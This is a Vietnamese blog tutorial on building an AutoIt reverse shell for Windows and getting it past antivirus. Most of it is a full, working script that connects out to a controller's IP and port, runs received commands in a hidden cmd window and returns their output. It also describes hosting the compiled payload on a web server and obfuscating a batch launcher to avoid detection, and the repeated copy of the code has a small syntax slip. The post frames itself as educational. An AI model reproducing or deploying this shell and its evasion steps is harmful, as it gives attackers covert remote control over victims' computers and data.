Trong thời đại của công nghệ số, khi mà an ninh mạng ngày càng trở nên quan trọng, việc nắm bắt những kiến thức về cách tấn công và phòng ngự là không thể phủ nhận. Với ngôn ngữ lập trình Autoit là một ngôn ngữ kịch bản dễ đọc và dễ hiểu, thường được sử dụng để tạo ra các kịch bản tự động hóa. Tuy nhiên, trong tay của những tin tặc, nó có thể trở thành một công cụ độc hại đầy sức mạnh.
Chúng ta sẽ cùng nhau khám phá cách tin tặc tạo ra một cuộc tấn công Reverse Shell có thể vượt qua các biện pháp chống virus thông thường và làm thế nào Autoit có thể được lợi dụng để thực hiện điều này. Hãy cùng nhau khám phá nhé !
Lưu ý: Bài viết này chỉ dành cho mục đích giáo dục, nghiên cứu và học tập. RatHuuIch sẽ không chịu toàn bộ trách nhiệm về các hành vi bất hợp pháp !
Giới thiệu ngắn gọn về ngôn ngữ lập trình Autoit
AutoIt là một ngôn ngữ lập trình dành cho hệ điều hành Windows, chủ yếu được sử dụng để tự động hóa các nhiệm vụ. Với cú pháp đơn giản và tích hợp mạnh mẽ với Windows, ngôn ngữ AutoIt là công cụ linh hoạt cho việc tạo kịch bản tự động, từ việc cài đặt phần mềm cho đến tương tác với giao diện người dùng. Được biết đến với tính ổn định và khả năng tương thích cao, ngôn ngữ lập trình AutoIt là sự lựa chọn phổ biến trong cộng đồng người sử dụng và phát triển phần mềm trên hệ điều hành Windows
Cách Hacker Bypass AV xâm nhập Windows với Autoit
Hacker xâm nhập vào máy tính của chúng ta với nhiều cách thức khác nhau. Nhưng trong bài viết này, mình sẽ đề cập đến kĩ thuật Reverse Shell, đây là một kỹ thuật phổ biến đối với việc xâm nhập hệ thống mạng, nơi các máy tính bị xâm nhập sẽ tạo ra một kết nối với máy tính mục tiêu của kẻ tấn công. Điều này cho phép kẻ tấn công tiến hành các hoạt động xâm nhập từ xa, bao gồm cài đặt mã độc, đánh cắp dữ liệu, sửa đổi cấu hình hệ thống, v.v. Kỹ thuật này chủ yếu được sử dụng nhằm khai thác độ tin cậy của hệ thống mạng và tạo ra một cửa sổ ảo nhằm thực hiện các hoạt động xâm nhập.
Trước hết, mình sẽ tạo một file có tên là ReverseShell.au3 và đoạn mã bắt đầu bằng việc khai báo các thư viện cần thiết từ AutoIt
#include <AutoItConstants.au3> #include <GUIConstantsEx.au3> #include <MsgBoxConstants.au3>
Tiếp đến, địa chỉ IP và cổng của máy chủ điều khiển được đặt trong các biến toàn cục. Trong trường hợp này, máy hacker được đặt với địa chỉ IP là 127.0.0.1 (localhost) và cổng là 4444
Global $host = "127.0.0.1" Global $port = 4444
Định nghĩa một biến toàn cục để lưu đường dẫn hiện tại của máy nạn nhân
Global $currentDir = @WorkingDir
Trong vòng lặp vô hạn, đoạn code này sẽ kiểm tra xem máy nạn nhân có thể truy cập được đến máy hacker không, bằng cách sử dụng hàm Ping. Nếu máy nạn nhân có thể truy cập được, nó sẽ thử kết nối đến máy hacker điều khiển thông qua giao thức TCP. Nếu kết nối thành công, vòng lặp sẽ thoát. Và ngược lại, nếu không kết nối được, đoạn code sẽ tiếp tục chạy đến khi kết nối thành công
While 1 If Ping($host, 250) Then ; Check if the server is reachable TCPStartup() $socket = TCPConnect($host, $port) If $socket <> -1 Then ; Check if the connection is successful ExitLoop ; Exit the loop if the connection is established EndIf TCPCloseSocket($socket) TCPShutdown() EndIf Sleep(1000) ; Wait for 1 second before retrying WEnd
Sau khi máy nạn nhân kết nối được tới máy hacker, máy nạn nhân sẽ gửi đường dẫn hiện tại đến máy hacker
TCPSend($socket, $currentDir & "> ")
Khi đã kết nối, máy nạn nhân tiếp tục lắng nghe để nhận các lệnh từ máy hacker điều khiển. Nếu lệnh nhận được bắt đầu bằng “cd”, nó thực hiện lệnh thay đổi thư mục. Nếu không, nó thực hiện lệnh trên hệ điều hành và gửi kết quả về máy của hacker
While 1 If @error Then ExitLoop $recv = TCPRecv($socket, 1024) If $recv <> "" Then If StringLeft($recv, 3) = "cd " Then ; Check if the command is a change directory command $dirToChange = StringTrimLeft($recv, 3) $dirToChange = StringStripWS($dirToChange, 3) ; Remove leading/trailing whitespaces If FileChangeDir($dirToChange) Then $currentDir = @WorkingDir TCPSend($socket, $currentDir & "> ") Else TCPSend($socket, "[!] Failed to change directory" & @CRLF) TCPSend($socket, $currentDir & "> ") EndIf Else $cmd = Run(@ComSpec & " /c " & $recv, "", @SW_HIDE, 2) $stdout = "" While @ComSpec & " /c " & $recv <> "" $line = StdoutRead($cmd) If @error Then ExitLoop $stdout &= $line WEnd $ret = TCPSend($socket, $stdout) TCPSend($socket, $currentDir & "> ") Sleep(500) EndIf EndIf WEnd
Sau khi hacker hoàn thành mục đích của mình, đoạn code AutoIt sẽ đóng kết nối TCP và tắt thư viện TCP
TCPCloseSocket($socket) TCPShutdown()
Đây là toàn bộ đoạn mã:
#include <AutoItConstants.au3> #include <GUIConstantsEx.au3> #include <MsgBoxConstants.au3> Global $host = "127.0.0.1" Global $port = 4444 Global $currentDir = @WorkingDir While 1 If Ping($host, 250) Then ; Check if the server is reachable TCPStartup() $socket = TCPConnect($host, $port) If $socket <> -1 Then ; Check if the connection is successful ExitLoop ; Exit the loop if the connection is established EndIf TCPCloseSocket($socket) TCPShutdown() EndIf Sleep(1000) ; Wait for 1 second before retrying WEnd TCPSend($socket, $currentDir & "> ") While 1 If @error Then ExitLoop $recv = TCPRecv($socket, 1024) If $recv <> "" Then If StringLeft($recv, 3) = "cd " Then ; Check if the command is a change directory command $dirToChange = StringTrimLeft($recv, 3) $dirToChange = StringStripWS($dirToChange, 3) ; Remove leading/trailing whitespaces If FileChangeDir($dirToChange) Then $currentDir = @WorkingDir TCPSend($socket, $currentDir & "> ") Else TCPSend($socket, "[!] Failed to change directory" & @CRLF TCPSend($socket, $currentDir & "> ") EndIf Else $cmd = Run(@ComSpec & " /c " & $recv, "", @SW_HIDE, 2) $stdout = "" While @ComSpec & " /c " & $recv <> "" $line = StdoutRead($cmd) If @error Then ExitLoop $stdout &= $line WEnd $ret = TCPSend($socket, $stdout) TCPSend($socket, $currentDir & "> ") Sleep(500) EndIf EndIf WEnd TCPCloseSocket($socket) TCPShutdown()
Tiếp theo, hacker sẽ biên dịch tập lệnh ReverseShell.au3 thành ReverseShell.a3x
Khi quá trình biên dịch hoàn tất, hacker mở một máy chủ web để lưu trữ file autoit.exe và ReverseShell.a3x để chuẩn bị thực hiện tấn công. Và ở đây mình đã chuẩn bị sẵn một tập lệnh Batch tên là RS.bat có nội dung như sau:
Giờ thì mình sẽ vào trang web https://www.batch-obfuscator.tk/ mã hóa file RS.bat này để vượt qua AntiVirus
Sau đây là kết quả scan của Virustotal: https://www.virustotal.com/gui/file/e18726a16d26bd432fd422a6a34636d61cfea23fde3a79639bd0cabb548fbfee?nocache=1
Video demo:
Như vậy, bằng cách tận dụng tính linh hoạt và khả năng tùy chỉnh của AutoIt, tin tặc có thể tạo ra các script độc hại mà các chương trình antivirus thường không nhận diện được. Một số phương pháp mà hacker thường sử dụng là thay đổi mã độc hại liên tục để tránh bị phát hiện, sử dụng kỹ thuật mã hóa hoặc thay đổi cấu trúc của mã để tránh nhận dạng bởi các phần mềm bảo mật. Cùng với đó là tận dụng các lỗ hổng trong hệ thống và sự sáng tạo trong việc tạo ra các kỹ thuật xâm nhập mới, tin tặc có thể tạo ra các công cụ xâm nhập mạnh mẽ, khó bị phát hiện và gây nguy hiểm đến các hệ thống. Từ đó, chúng ta cần phải luôn cập nhật và nâng cao kiến thức bảo mật để bảo vệ chính bản thân mình cũng như bảo vệ môi trường kỹ thuật số.
Đọc thêm: Mình đã Bypass AV xâm nhập Windows 10 với Metasploit và Python như thế nào ?